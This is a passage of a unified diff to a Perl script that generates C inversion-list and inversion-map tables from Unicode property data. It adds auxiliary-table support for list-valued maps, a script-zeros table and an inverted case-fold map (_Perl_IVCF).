- ( gcb => [
-            'Control',
-            'CR',
-            'E_Base',
-            'E_Base_GAZ',
-            'E_Modifier',
-            'Extend',
-            'Glue_After_Zwj',
-            'L',
-            'LF',
-            'LV',
-            'LVT',
-            'Other',
-            'Prepend',
-            'Regional_Indicator',
-            'SpacingMark',
-            'T',
-            'V',
-            'ZWJ',
-        ],
-    lb => [
-            'Alphabetic',
-            'Break_After',
-            'Break_Before',
-            'Break_Both',
-            'Break_Symbols',
-            'Carriage_Return',
-            'Close_Parenthesis',
-            'Close_Punctuation',
-            'Combining_Mark',
-            'Contingent_Break',
-            'E_Base',
-            'E_Modifier',
-            'Exclamation',
-            'Glue',
-            'H2',
-            'H3',
-            'Hebrew_Letter',
-            'Hyphen',
-            'Ideographic',
-            'Infix_Numeric',
-            'Inseparable',
-            'JL',
-            'JT',
-            'JV',
-            'Line_Feed',
-            'Mandatory_Break',
-            'Next_Line',
-            'Nonstarter',
-            'Numeric',
-            'Open_Punctuation',
-            'Postfix_Numeric',
-            'Prefix_Numeric',
-            'Quotation',
-            'Regional_Indicator',
-            'Space',
-            'Word_Joiner',
-            'ZWJ',
-            'ZWSpace',
-        ],
-   sb  => [
-            'ATerm',
-            'Close',
-            'CR',
-            'Extend',
-            'Format',
-            'LF',
-            'Lower',
-            'Numeric',
-            'OLetter',
-            'Other',
-            'SContinue',
-            'Sep',
-            'Sp',
-            'STerm',
-            'Upper',
-        ],
-   wb  => [
-            'ALetter',
-            'CR',
-            'Double_Quote',
-            'E_Base',
-            'E_Base_GAZ',
-            'E_Modifier',
-            'Extend',
-            'ExtendNumLet',
-            'Format',
-            'Glue_After_Zwj',
-            'Hebrew_Letter',
-            'Katakana',
-            'LF',
-            'MidLetter',
-            'MidNum',
-            'MidNumLet',
-            'Newline',
-            'Numeric',
-            'Other',
-            'Perl_Tailored_HSpace',
-            'Regional_Indicator',
-            'Single_Quote',
-            'ZWJ',
-        ],
-);
+my %where_to_define_enums = ();
 
+my $applies_to_all_charsets_text = "all charsets";
+
 my %gcb_enums;
 my @gcb_short_enums;
 my %gcb_abbreviations;
@@ -185,6 +78,58 @@
 
 my @a2n;
 
+my %prop_name_aliases;
+# Invert this hash so that for each canonical name, we get a list of things
+# that map to it (excluding itself)
+foreach my $name (sort keys %utf8::loose_property_name_of) {
+    my $canonical = $utf8::loose_property_name_of{$name};
+    push @{$prop_name_aliases{$canonical}},  $name if $canonical ne $name;
+}
+
+# Output these tables in the same vicinity as each other, so that will get
+# paged in at about the same time
+my %keep_together = (
+                        assigned => 1,
+                        ascii => 1,
+                        cased => 1,
+                        vertspace => 1,
+                        xposixalnum => 1,
+                        xposixalpha => 1,
+                        xposixblank => 1,
+                        xposixcntrl => 1,
+                        xposixdigit => 1,
+                        xposixgraph => 1,
+                        xposixlower => 1,
+                        xposixprint => 1,
+                        xposixpunct => 1,
+                        xposixspace => 1,
+                        xposixupper => 1,
+                        xposixword => 1,
+                        xposixxdigit => 1,
+                        posixalnum => 1,
+                        posixalpha => 1,
+                        posixblank => 1,
+                        posixcntrl => 1,
+                        posixdigit => 1,
+                        posixgraph => 1,
+                        posixlower => 1,
+                        posixprint => 1,
+                        posixpunct => 1,
+                        posixspace => 1,
+                        posixupper => 1,
+                        posixword => 1,
+                        posixxdigit => 1,
+                        _perl_any_folds => 1,
+                        _perl_folds_to_multi_char => 1,
+                        _perl_idstart => 1,
+                        _perl_idcont => 1,
+                        _perl_charname_begin => 1,
+                        _perl_charname_continue => 1,
+                        _perl_problematic_locale_foldeds_start => 1,
+                        _perl_problematic_locale_folds => 1,
+                        _perl_quotemeta => 1,
+                    );
+
 sub uniques {
     # Returns non-duplicated input values.  From "Perl Best Practices:
     # Encapsulated Cleverness".  p. 455 in first edition.
@@ -205,36 +150,51 @@
 sub end_file_pound_if {
     if ($in_file_pound_if) {
         print $out_fh "\n#endif\t/* $in_file_pound_if */\n";
-        $in_file_pound_if = 0;
+        $in_file_pound_if = "";
     }
 }
 
+sub end_charset_pound_if {
+    print $out_fh "\n" . get_conditional_compile_line_end();
+}
+
 sub switch_pound_if ($$) {
     my $name = shift;
     my $new_pound_if = shift;
+    my @new_pound_if = ref ($new_pound_if)
+                       ? sort @$new_pound_if
+                       : $new_pound_if;
 
     # Switch to new #if given by the 2nd argument.  If there is an override
     # for this, it instead switches to that.  The 1st argument is the
-    # static's name, used to look up the overrides
+    # static's name, used only to check if there is an override for this
 
     if (exists $exceptions_to_where_to_define{$name}) {
-        $new_pound_if = $exceptions_to_where_to_define{$name};
+        @new_pound_if = $exceptions_to_where_to_define{$name};
     }
 
-    # Exit current #if if the new one is different from the old
-    if ($in_file_pound_if
-        && $in_file_pound_if !~ /$new_pound_if/)
-    {
-        end_file_pound_if;
+    foreach my $element (@new_pound_if) {
+        $element = "defined($element)";
     }
+    $new_pound_if = join " || ", @new_pound_if;
 
-    # Enter new #if, if not already in it.
-    if (! $in_file_pound_if) {
-        $in_file_pound_if = "defined($new_pound_if)";
+    # Change to the new one if different from old
+    if ($in_file_pound_if ne $new_pound_if) {
+
+        # Exit any current #if
+        if ($in_file_pound_if) {
+            end_file_pound_if;
+        }
+
+        $in_file_pound_if = $new_pound_if;
         print $out_fh "\n#if $in_file_pound_if\n";
     }
 }
 
+sub start_charset_pound_if ($;$) {
+    print $out_fh "\n" . get_conditional_compile_line_start(shift, shift);
+}
+
 sub output_invlist ($$;$) {
     my $name = shift;
     my $invlist = shift;     # Reference to inversion list array
@@ -254,8 +214,6 @@
     }
     my $count = @$invlist;
 
-    switch_pound_if ($name, 'PERL_IN_PERL_C');
-
     print $out_fh "\nstatic const UV ${name}_invlist[] = {";
     print $out_fh " /* for $charset */" if $charset;
     print $out_fh "\n";
@@ -294,191 +252,417 @@
     my $count = @$invmap;
 
     my $output_format;
-    my $declaration_type;
+    my $invmap_declaration_type;
+    my $enum_declaration_type;
+    my $aux_declaration_type;
     my %enums;
     my $name_prefix;
 
-    if ($input_format eq 's') {
-        my $orig_prop_name = $prop_name;
+    if ($input_format =~ / ^ [as] l? $ /x) {
         $prop_name = (prop_aliases($prop_name))[1] // $prop_name =~ s/^_Perl_//r; # Get full name
         my $short_name = (prop_aliases($prop_name))[0] // $prop_name;
-            my @enums;
-            if ($orig_prop_name eq $prop_name) {
-                @enums = prop_values($prop_name);
+        my @input_enums;
+
+        # Find all the possible input values.  These become the enum names
+        # that comprise the inversion map.  For inputs that don't have sub
+        # lists, we can just get the unique values.  Otherwise, we have to
+        # expand the sublists first.
+        if ($input_format !~ / ^ a /x) {
+            if ($input_format ne 'sl') {
+                @input_enums = sort(uniques(@$invmap));
             }
             else {
-                @enums = uniques(@$invmap);
+                foreach my $element (@$invmap) {
+                    if (ref $element) {
+                        push @input_enums, @$element;
+                    }
+                    else {
+                        push @input_enums, $element;
+                    }
+                }
+                @input_enums = sort(uniques(@input_enums));
             }
+        }
 
-            if (! @enums) {
-                die "Only enum properties are currently handled; '$prop_name' isn't one";
+        # The internal enums come last, and in the order specified.
+        my @enums = @input_enums;
+        my @extras;
+        if ($extra_enums ne "") {
+            @extras = split /,/, $extra_enums;
+
+            # Don't add if already there.
+            foreach my $this_extra (@extras) {
+                next if grep { $_ eq $this_extra } @enums;
+
+                push @enums, $this_extra;
             }
-            else {
-                my @expected_enums = @{$hard_coded_enums{lc $short_name}};
-                my @canonical_input_enums;
-                if (@expected_enums) {
-                    if (@expected_enums < @enums) {
-                        die 'You need to update %hard_coded_enums to reflect new'
-                        . " entries in this Unicode version\n"
-                        . "Expected: " . join(", ", sort @expected_enums) . "\n"
-                        . "     Got: " . join(", ", sort @enums);
+        }
+
+        # Assign a value to each element of the enum type we are creating.
+        # The default value always gets 0; the others are arbitrarily
+        # assigned.
+        my $enum_val = 0;
+        my $canonical_default = prop_value_aliases($prop_name, $default);
+        $default = $canonical_default if defined $canonical_default;
+        $enums{$default} = $enum_val++;
+
+        for my $enum (@enums) {
+            $enums{$enum} = $enum_val++ unless exists $enums{$enum};
+        }
+
+        # Calculate the data for the special tables output for these properties.
+        if ($name =~ / ^  _Perl_ (?: GCB | LB | WB ) $ /x) {
+
+            # The data includes the hashes %gcb_enums, %lb_enums, etc.
+            # Similarly we calculate column headings for the tables.
+            #
+            # We use string evals to allow the same code to work on
+            # all the tables
+            my $type = lc $prop_name;
+
+            my $placeholder = "a";
+
+            # Skip if we've already done this code, which populated
+            # this hash
+            if (eval "! \%${type}_enums") {
+
+                # For each enum in the type ...
+                foreach my $enum (sort keys %enums) {
+                    my $value = $enums{$enum};
+                    my $short;
+                    my $abbreviated_from;
+
+                    # Special case this wb property value to make the
+                    # name more clear
+                    if ($enum eq 'Perl_Tailored_HSpace') {
+                        $short = 'hs';
+                        $abbreviated_from = $enum;
                     }
+                    else {
 
-                    if (! defined prop_aliases($prop_name)) {
+                        # Use the official short name, if found.
+                        ($short) = prop_value_aliases($type, $enum);
 
-                        # Convert the input enums into canonical form and
-                        # save for use below
-                        @canonical_input_enums = map { lc ($_ =~ s/_//gr) }
-                                                                     @enums;
+                        if (! defined $short) {
+
+                            # But if there is no official name, use the name
+                            # that came from the data (if any).  Otherwise,
+                            # the name had to come from the extras list.
+                            # There are two types of values in that list.
+                            #
+                            # First are those enums that are not part of the
+                            # property, but are defined by this code.  By
+                            # convention these have all-caps names of at least
+                            # 4 characters.  We use the lowercased name for
+                            # thse.
+                            #
+                            # Second are enums that are needed to get
+                            # regexec.c to compile, but don't exist in all
+                            # Unicode releases.  To get here, we must be
+                            # compiling an earlier Unicode release that
+                            # doesn't have that enum, so just use a unique
+                            # anonymous name for it.
+                            if (grep { $_ eq $enum } @input_enums) {
+                                $short = $enum
+                            }
+                            elsif ($enum !~ / ^ [A-Z]{4,} $ /x) {
+                                $short = $placeholder++;
+                            }
+                            else {
+                                $short = lc $enum;
+                            }
+                        }
                     }
-                    @enums = sort @expected_enums;
+
+                    # If our short name is too long, or we already
+                    # know that the name is an abbreviation, truncate
+                    # to make sure it's short enough, and remember
+                    # that we did this so we can later add a comment in the
+                    # generated file
+                    if (   $abbreviated_from
+                        || length $short > $max_hdr_len)
+                        {
+                        $short = substr($short, 0, $max_hdr_len);
+                        $abbreviated_from = $enum
+                                            unless $abbreviated_from;
+                        # If the name we are to display conflicts, try
+                        # another.
+                        while (eval "exists
+                                        \$${type}_abbreviations{$short}")
+                        {
+                            die $@ if $@;
+
+                            # The increment operator on strings doesn't work
+                            # on those containing an '_', so just use the
+                            # final portion.
+                            my @short = split '_', $short;
+                            $short[-1]++;
+                            $short = join "_", @short;
+                        }
+
+                        eval "\$${type}_abbreviations{$short} = '$enum'";
+                        die $@ if $@;
+                    }
+
+                    # Remember the mapping from the property value
+                    # (enum) name to its value.
+                    eval "\$${type}_enums{$enum} = $value";
+                    die $@ if $@;
+
+                    # Remember the inverse mapping to the short name
+                    # so that we can properly label the generated
+                    # table's rows and columns
+                    eval "\$${type}_short_enums[$value] = '$short'";
+                    die $@ if $@;
                 }
+            }
+        }
 
-                # The internal enums come last, and in the order specified
-                my @extras;
-                if ($extra_enums ne "") {
-                    @extras = split /,/, $extra_enums;
-                    push @enums, @extras;
+        # The short names tend to be two lower case letters, but it looks
+        # better for those if they are upper. XXX
+        $short_name = uc($short_name) if length($short_name) < 3
+                                      || substr($short_name, 0, 1) =~ /[[:lower:]]/;
+        $name_prefix = "${short_name}_";
+
+        # Start the enum definition for this map
+        my @enum_definition;
+        my @enum_list;
+        foreach my $enum (keys %enums) {
+            $enum_list[$enums{$enum}] = $enum;
+        }
+        foreach my $i (0 .. @enum_list - 1) {
+            push @enum_definition, ",\n" if $i > 0;
+
+            my $name = $enum_list[$i];
+            push @enum_definition, "\t${name_prefix}$name = $i";
+        }
+
+        # For an 'l' property, we need extra enums, because some of the
+        # elements are lists.  Each such distinct list is placed in its own
+        # auxiliary map table.  Here, we go through the inversion map, and for
+        # each distinct list found, create an enum value for it, numbered -1,
+        # -2, ....
+        my %multiples;
+        my $aux_table_prefix = "AUX_TABLE_";
+        if ($input_format =~ /l/) {
+            foreach my $element (@$invmap) {
+
+                # A regular scalar is not one of the lists we're looking for
+                # at this stage.
+                next unless ref $element;
+
+                my $joined;
+                if ($input_format =~ /a/) { # These are already ordered
+                    $joined = join ",", @$element;
                 }
+                else {
+                    $joined = join ",", sort @$element;
+                }
+                my $already_found = exists $multiples{$joined};
 
-                # Assign a value to each element of the enum.  The default
-                # value always gets 0; the others are arbitrarily assigned.
-                my $enum_val = 0;
-                my $canonical_default = prop_value_aliases($prop_name, $default);
-                $default = $canonical_default if defined $canonical_default;
-                $enums{$default} = $enum_val++;
-                for my $enum (@enums) {
-                    $enums{$enum} = $enum_val++ unless exists $enums{$enum};
+                my $i;
+                if ($already_found) {   # Use any existing one
+                    $i = $multiples{$joined};
                 }
+                else {  # Otherwise increment to get a new table number
+                    $i = keys(%multiples) + 1;
+                    $multiples{$joined} = $i;
+                }
 
-                # Calculate the enum values for certain properties like
-                # _Perl_GCB and _Perl_LB, because we output special tables for
-                # them.
-                if ($name =~ / ^  _Perl_ (?: GCB | LB | WB ) $ /x) {
+                # This changes the inversion map for this entry to not be the
+                # list
+                $element = "use_$aux_table_prefix$i";
 
-                    # We use string evals to allow the same code to work on
-                    # all tables we're doing.
-                    my $type = lc $prop_name;
+                # And add to the enum values
+                if (! $already_found) {
+                    push @enum_definition, ",\n\t${name_prefix}$element = -$i";
+                }
+            }
+        }
 
-                    # We use lowercase single letter names for any property
-                    # values not in the release of Unicode being compiled now.
-                    my $placeholder = "a";
+        $enum_declaration_type = "${name_prefix}enum";
 
-                    # Skip if we've already done this code, which populated
-                    # this hash
-                    if (eval "! \%${type}_enums") {
+        # Finished with the enum definition.  Inversion map stuff is used only
+        # by regexec or utf-8 (if it is for code points) , unless it is in the
+        # enum exception list
+        my $where = (exists $where_to_define_enums{$name})
+                    ? $where_to_define_enums{$name}
+                    : ($input_format =~ /a/)
+                       ? 'PERL_IN_UTF8_C'
+                       : 'PERL_IN_REGEXEC_C';
 
-                        # For each enum ...
-                        foreach my $enum (sort keys %enums) {
-                            my $value = $enums{$enum};
-                            my $short;
-                            my $abbreviated_from;
+        end_charset_pound_if;
+        end_file_pound_if;
+        switch_pound_if($name, $where) unless exists $public_enums{$name};
+        start_charset_pound_if($charset, 1);
 
-                            # Special case this wb property value to make the
-                            # name more clear
-                            if ($enum eq 'Perl_Tailored_HSpace') {
-                                $short = 'hs';
-                                $abbreviated_from = $enum;
-                            }
-                            elsif (grep { $_ eq $enum } @extras) {
+        # If the enum only contains one element, that is a dummy, default one
+        if (scalar @enum_definition > 1) {
 
-                                # The 'short' name for one of the property
-                                # values added by this file is just the
-                                # lowercase of it
-                                $short = lc $enum;
-                            }
-                            elsif (grep {$_ eq lc ( $enum =~ s/_//gr) }
-                                                        @canonical_input_enums)
-                            {   # On Unicode versions that predate the
-                                # official property, we have set up this array
-                                # to be the canonical form of each enum in the
-                                # substitute property.  If the enum we're
-                                # looking at is canonically the same as one of
-                                # these, use its name instead of generating a
-                                # placeholder one in the next clause (which
-                                # will happen because prop_value_aliases()
-                                # will fail because it only works on official
-                                # properties)
-                                $short = $enum;
-                            }
-                            else {
-                                # Use the official short name for the other
-                                # property values, which should all be
-                                # official ones.
-                                ($short) = prop_value_aliases($type, $enum);
+            # Currently unneeded
+            #print $out_fh "\n#define ${name_prefix}ENUM_COUNT ",
+            #                                   ..scalar keys %enums, "\n";
 
-                                # But create a placeholder for ones not in
-                                # this Unicode version.
-                                $short = $placeholder++ unless defined $short;
-                            }
+            if ($input_format =~ /l/) {
+                print $out_fh
+                "\n",
+                "/* Negative enum values indicate the need to use an",
+                    " auxiliary table\n",
+                " * consisting of the list of enums this one expands to.",
+                    "  The absolute\n",
+                " * values of the negative enums are indices into a table",
+                    " of the auxiliary\n",
+                " * tables' addresses */";
+            }
+            print $out_fh "\ntypedef enum {\n";
+            print $out_fh join "", @enum_definition;
+            print $out_fh "\n";
+            print $out_fh "} $enum_declaration_type;\n";
+        }
 
-                            # If our short name is too long, or we already
-                            # know that the name is an abbreviation, truncate
-                            # to make sure it's short enough, and remember
-                            # that we did this so we can later place in a
-                            # comment in the generated file
-                            if (   $abbreviated_from
-                                || length $short > $max_hdr_len)
-                                {
-                                $short = substr($short, 0, $max_hdr_len);
-                                $abbreviated_from = $enum
-                                                    unless $abbreviated_from;
-                                # If the name we are to display conflicts, try
-                                # another.
-                                while (eval "exists
-                                             \$${type}_abbreviations{$short}")
-                                {
-                                    die $@ if $@;
-                                    $short++;
-                                }
+        end_charset_pound_if;
+        switch_pound_if($name, $where);
+        start_charset_pound_if($charset, 1);
 
-                                eval "\$${type}_abbreviations{$short} = '$enum'";
-                                die $@ if $@;
-                            }
+        $invmap_declaration_type = ($input_format =~ /s/)
+                                 ? $enum_declaration_type
+                                 : "int";
+        $aux_declaration_type = ($input_format =~ /s/)
+                                 ? $enum_declaration_type
+                                 : "unsigned int";
 
-                            # Remember the mapping from the property value
-                            # (enum) name to its value.
-                            eval "\$${type}_enums{$enum} = $value";
-                            die $@ if $@;
+        $output_format = "${name_prefix}%s";
 
-                            # Remember the inverse mapping to the short name
-                            # so that we can properly label the generated
-                            # table's rows and columns
-                            eval "\$${type}_short_enums[$value] = '$short'";
-                            die $@ if $@;
-                        }
+        # If there are auxiliary tables, output them.
+        if (%multiples) {
+
+            print $out_fh "\n#define HAS_${name_prefix}AUX_TABLES\n";
+
+            # Invert keys and values
+            my %inverted_mults;
+            while (my ($key, $value) = each %multiples) {
+                $inverted_mults{$value} = $key;
+            }
+
+            # Output them in sorted order
+            my @sorted_table_list = sort { $a <=> $b } keys %inverted_mults;
+
+            # Keep track of how big each aux table is
+            my @aux_counts;
+
+            # Output each aux table.
+            foreach my $table_number (@sorted_table_list) {
+                my $table = $inverted_mults{$table_number};
+                print $out_fh "\nstatic const $aux_declaration_type $name_prefix$aux_table_prefix$table_number\[] = {\n";
+
+                # Earlier, we joined the elements of this table together with a comma
+                my @elements = split ",", $table;
+
+                $aux_counts[$table_number] = scalar @elements;
+                for my $i (0 .. @elements - 1) {
+                    print $out_fh  ",\n" if $i > 0;
+                    if ($input_format =~ /a/) {
+                        printf $out_fh "\t0x%X", $elements[$i];
                     }
+                    else {
+                        print $out_fh "\t${name_prefix}$elements[$i]";
+                    }
                 }
+                print $out_fh "\n};\n";
             }
 
-            # Inversion map stuff is currently used only by regexec
-            switch_pound_if($name, 'PERL_IN_REGEXEC_C');
-        {
+            # Output the table that is indexed by the absolute value of the
+            # aux table enum and contains pointers to the tables output just
+            # above
+            print $out_fh "\nstatic const $aux_declaration_type * const ${name_prefix}${aux_table_prefix}ptrs\[] = {\n";
+            print $out_fh "\tNULL,\t/* Placeholder */\n";
+            for my $i (1 .. @sorted_table_list) {
+                print $out_fh  ",\n" if $i > 1;
+                print $out_fh  "\t$name_prefix$aux_table_prefix$i";
+            }
+            print $out_fh "\n};\n";
 
-            # The short names tend to be two lower case letters, but it looks
-            # better for those if they are upper. XXX
-            $short_name = uc($short_name) if length($short_name) < 3
-                                             || substr($short_name, 0, 1) =~ /[[:lower:]]/;
-            $name_prefix = "${short_name}_";
-            my $enum_count = keys %enums;
-            print $out_fh "\n#define ${name_prefix}ENUM_COUNT ", scalar keys %enums, "\n";
+            print $out_fh
+              "\n/* Parallel table to the above, giving the number of elements"
+            . " in each table\n * pointed to */\n";
+            print $out_fh "static const U8 ${name_prefix}${aux_table_prefix}lengths\[] = {\n";
+            print $out_fh "\t0,\t/* Placeholder */\n";
+            for my $i (1 .. @sorted_table_list) {
+                print $out_fh  ",\n" if $i > 1;
+                print $out_fh  "\t$aux_counts[$i]\t/* $name_prefix$aux_table_prefix$i */";
+            }
+            print $out_fh "\n};\n";
+        } # End of outputting the auxiliary and associated tables
 
-            print $out_fh "\ntypedef enum {\n";
-            my @enum_list;
-            foreach my $enum (keys %enums) {
-                $enum_list[$enums{$enum}] = $enum;
+        # The scx property used in regexec.c needs a specialized table which
+        # is most convenient to output here, while the data structures set up
+        # above are still extant.  This table contains the code point that is
+        # the zero digit of each script, indexed by script enum value.
+        if (lc $short_name eq 'scx') {
+            my @decimals_invlist = prop_invlist("Numeric_Type=Decimal");
+            my %script_zeros;
+
+            # Find all the decimal digits.  The 0 of each range is always the
+            # 0th element, except in some early Unicode releases, so check for
+            # that.
+            for (my $i = 0; $i < @decimals_invlist; $i += 2) {
+                my $code_point = $decimals_invlist[$i];
+                next if chr($code_point) !~ /\p{Nv=0}/;
+
+                # Turn the scripts this zero is in into a list.
+                my @scripts = split ",",
+                  charprop($code_point, "_Perl_SCX", '_perl_core_internal_ok');
+                $code_point = sprintf("0x%x", $code_point);
+
+                foreach my $script (@scripts) {
+                    if (! exists $script_zeros{$script}) {
+                        $script_zeros{$script} = $code_point;
+                    }
+                    elsif (ref $script_zeros{$script}) {
+                        push $script_zeros{$script}->@*, $code_point;
+                    }
+                    else {  # Turn into a list if this is the 2nd zero of the
+                            # script
+                        my $existing = $script_zeros{$script};
+                        undef $script_zeros{$script};
+                        push $script_zeros{$script}->@*, $existing, $code_point;
+                    }
+                }
             }
-            foreach my $i (0 .. @enum_list - 1) {
-                my $name = $enum_list[$i];
-                print $out_fh  "\t${name_prefix}$name = $i";
-                print $out_fh "," if $i < $enum_count - 1;
+
+            # @script_zeros contains the zero, sorted by the script's enum
+            # value
+            my @script_zeros;
+            foreach my $script (keys %script_zeros) {
+                my $enum_value = $enums{$script};
+                $script_zeros[$enum_value] = $script_zeros{$script};
+            }
+
+            print $out_fh
+            "\n/* This table, indexed by the script enum, gives the zero"
+          . " code point for that\n * script; 0 if the script has multiple"
+          . " digit sequences.  Scripts without a\n * digit sequence use"
+          . " ASCII [0-9], hence are marked '0' */\n";
+            print $out_fh "static const UV script_zeros[] = {\n";
+            for my $i (0 .. @script_zeros - 1) {
+                my $code_point = $script_zeros[$i];
+                if (defined $code_point) {
+                    $code_point = " 0" if ref $code_point;
+                    print $out_fh "\t$code_point";
+                }
+                elsif (lc $enum_list[$i] eq 'inherited') {
+                    print $out_fh "\t 0";
+                }
+                else {  # The only digits a script without its own set accepts
+                        # is [0-9]
+                    print $out_fh "\t'0'";
+                }
+                print $out_fh "," if $i < @script_zeros - 1;
+                print $out_fh "\t/* $enum_list[$i] */";
                 print $out_fh "\n";
             }
-            $declaration_type = "${name_prefix}enum";
-            print $out_fh "} $declaration_type;\n";
-
-            $output_format = "${name_prefix}%s";
-        }
+            print $out_fh "};\n";
+        } # End of special handling of scx
     }
     else {
         die "'$input_format' invmap() format for '$prop_name' unimplemented";
@@ -488,7 +672,8 @@
                                              && ref $invmap eq 'ARRAY'
                                              && $count;
 
-    print $out_fh "\nstatic const $declaration_type ${name}_invmap[] = {";
+    # Now output the inversion map proper
+    print $out_fh "\nstatic const $invmap_declaration_type ${name}_invmap[] = {";
     print $out_fh " /* for $charset */" if $charset;
     print $out_fh "\n";
 
@@ -496,8 +681,15 @@
     for my $i (0 .. $count - 1) {
         my $element = $invmap->[$i];
         my $full_element_name = prop_value_aliases($prop_name, $element);
+        if ($input_format =~ /a/ && $element !~ /\D/) {
+            $element = ($element == 0)
+                       ? 0
+                       : sprintf("0x%X", $element);
+        }
+        else {
         $element = $full_element_name if defined $full_element_name;
         $element = $name_prefix . $element;
+        }
         print $out_fh "\t$element";
         print $out_fh "," if $i < $count - 1;
         print $out_fh  "\n";
@@ -532,7 +724,7 @@
 
 # Read in the Case Folding rules, and construct arrays of code points for the
 # properties we need.
-my ($cp_ref, $folds_ref, $format) = prop_invmap("Case_Folding");
+my ($cp_ref, $folds_ref, $format, $default) = prop_invmap("Case_Folding");
 die "Could not find inversion map for Case_Folding" unless defined $format;
 die "Incorrect format '$format' for Case_Folding inversion map"
                                                     unless $format eq 'al'
@@ -554,9 +746,190 @@
 
 sub _Perl_Non_Final_Folds {
     @is_non_final_fold = sort { $a <=> $b } @is_non_final_fold;
-    return mk_invlist_from_sorted_cp_list(\@is_non_final_fold);
+    my @return = mk_invlist_from_sorted_cp_list(\@is_non_final_fold);
+    return \@return;
 }
 
+sub _Perl_IVCF {
+
+    # This creates a map of the inversion of case folding. i.e., given a
+    # character, it gives all the other characters that fold to it.
+    #
+    # Inversion maps function kind of like a hash, with the inversion list
+    # specifying the buckets (keys) and the inversion maps specifying the
+    # contents of the corresponding bucket.  Effectively this function just
+    # swaps the keys and values of the case fold hash.  But there are
+    # complications.  Most importantly, More than one character can each have
+    # the same fold.  This is solved by having a list of characters that fold
+    # to a given one.
+
+    my %new;
+
+    # Go through the inversion list.
+    for (my $i = 0; $i < @$cp_ref; $i++) {
+
+        # Skip if nothing folds to this
+        next if $folds_ref->[$i] == 0;
+
+        # This entry which is valid from here to up (but not including) the
+        # next entry is for the next $count characters, so that, for example,
+        # A-Z is represented by one entry.
+        my $cur_list = $cp_ref->[$i];
+        my $count = $cp_ref->[$i+1] - $cur_list;
+
+        # The fold of [$i] can be not just a single character, but a sequence
+        # of multiple ones.  We deal with those here by just creating a string
+        # consisting of them.  Otherwise, we use the single code point [$i]
+        # folds to.
+        my $cur_map = (ref $folds_ref->[$i])
+                       ? join "", map { chr } $folds_ref->[$i]->@*
+                       : $folds_ref->[$i];
+
+        # Expand out this range
+        while ($count > 0) {
+            push @{$new{$cur_map}}, $cur_list;
+
+            # A multiple-character fold is a string, and shouldn't need
+            # incrementing anyway
+            if (ref $folds_ref->[$i]) {
+                die sprintf("Case fold for %x is multiple chars; should have"
+                          . " a count of 1, but instead it was $count", $count)
+                                                            unless $count == 1;
+            }
+            else {
+                $cur_map++;
+                $cur_list++;
+            }
+            $count--;
+        }
+    }
+
+    # Now go through and make some adjustments.  We add synthetic entries for
+    # two cases.
+    # 1) Two or more code points can fold to the same multiple character,
+    #    sequence, as U+FB05 and U+FB06 both fold to 'st'.  This code is only
+    #    for single character folds, but FB05 and FB06 are single characters
+    #    that are equivalent folded, so we add entries so that they are
+    #    considered to fold to each other
+    # 2) If two or more above-Latin1 code points fold to the same Latin1 range
+    #    one, we also add entries so that they are considered to fold to each
+    #    other.  This is so that under /aa or /l matching, where folding to
+    #    their Latin1 range code point is illegal, they still can fold to each
+    #    other.  This situation happens in Unicode 3.0.1, but probably no
+    #    other version.
+    foreach my $fold (keys %new) {
+        my $folds_to_string = $fold =~ /\D/a;
+
+        # If the bucket contains only one element, convert from an array to a
+        # scalar
+        if (scalar $new{$fold}->@* == 1) {
+            $new{$fold} = $new{$fold}[0];
+        }
+        else {
+
+            # Otherwise, sort numerically.  This places the highest code point
+            # in the list at the tail end.  This is because Unicode keeps the
+            # lowercase code points as higher ordinals than the uppercase, at
+            # least for the ones that matter so far.  These are synthetic
+            # entries, and we want to predictably have the lowercase (which is
+            # more likely to be what gets folded to) in the same corresponding
+            # position, so that other code can rely on that.  If some new
+            # version of Unicode came along that violated this, we might have
+            # to change so that the sort is based on upper vs lower instead.
+            # (The lower-comes-after isn't true of native EBCDIC, but here we
+            # are dealing strictly with Unicode values).
+            @{$new{$fold}} = sort { $a <=> $b } $new{$fold}->@*
+                                                        unless $folds_to_string;
+            # We will be working with a copy of this sorted entry.
+            my @source_list = $new{$fold}->@*;
+            if (! $folds_to_string) {
+
+                # This handles situation 2) listed above, which only arises if
+                # what is being folded-to (the fold) is in the Latin1 range.
+                if ($fold > 255 ) {
+                    undef @source_list;
+                }
+                else {
+                    # And it only arises if there are two or more folders that
+                    # fold to it above Latin1.  We look at just those.
+                    @source_list = grep { $_ > 255 } @source_list;
+                    undef @source_list if @source_list == 1;
+                }
+            }
+
+            # Here, we've found the items we want to set up synthetic folds
+            # for.  Add entries so that each folds to each other.
+            foreach my $cp (@source_list) {
+                my @rest = grep { $cp != $_ } @source_list;
+                if (@rest == 1) {
+                    $new{$cp} = $rest[0];
+                }
+                else {
+                    push @{$new{$cp}}, @rest;
+                }
+            }
+        }
+
+        # We don't otherwise deal with multiple-character folds
+        delete $new{$fold} if $folds_to_string;
+    }
+
+
+    # Now we have a hash that is the inversion of the case fold property.
+    # Convert it to an inversion map.
+
+    my @sorted_folds = sort { $a <=> $b } keys %new;
+    my (@invlist, @invmap);
+
+    # We know that nothing folds to the controls (whose ordinals start at 0).
+    # And the first real entries are the lowest in the hash.
+    push @invlist, 0, $sorted_folds[0];
+    push @invmap, 0, $new{$sorted_folds[0]};
+
+    # Go through the remainder of the hash keys (which are the folded code
+    # points)
+    for (my $i = 1; $i < @sorted_folds; $i++) {
+
+        # Get the current one, and the one prior to it.
+        my $fold = $sorted_folds[$i];
+        my $prev_fold = $sorted_folds[$i-1];
+
+        # If the current one is not just 1 away from the prior one, we close
+        # out the range containing the previous fold, and know that the gap
+        # doesn't have anything that folds.
+        if ($fold - 1 != $prev_fold) {
+            push @invlist, $prev_fold + 1;
+            push @invmap, 0;
+
+            # And start a new range
+            push @invlist, $fold;
+            push @invmap, $new{$fold};
+        }
+        elsif ($new{$fold} - 1 != $new{$prev_fold}) {
+
+            # Here the current fold is just 1 greater than the previous, but
+            # the new map isn't correspondingly 1 greater than the previous,
+            # the old range is ended, but since there is no gap, we don't have
+            # to insert anything else.
+            push @invlist, $fold;
+            push @invmap, $new{$fold};
+
+        } # else { Otherwise, this new entry just extends the previous }
+
+        die "In IVCF: $invlist[-1] <= $invlist[-2]"
+                                               if $invlist[-1] <= $invlist[-2];
+    }
+
+    # And add an entry that indicates that everything above this, to infinity,
+    # does not have a case fold.
+    push @invlist, $sorted_folds[-1] + 1;
+    push @invmap, 0;
+
+    # All Unicode versions have some places where multiple code points map to
+    # the same one, so the format always has an 'l'
+    return \@invlist, \@invmap, 'al', $default;
+}
+
 sub prop_name_for_cmp ($) { # Sort helper
     my $name = shift;
 
@@ -569,7 +942,8 @@
 }
 
 sub UpperLatin1 {
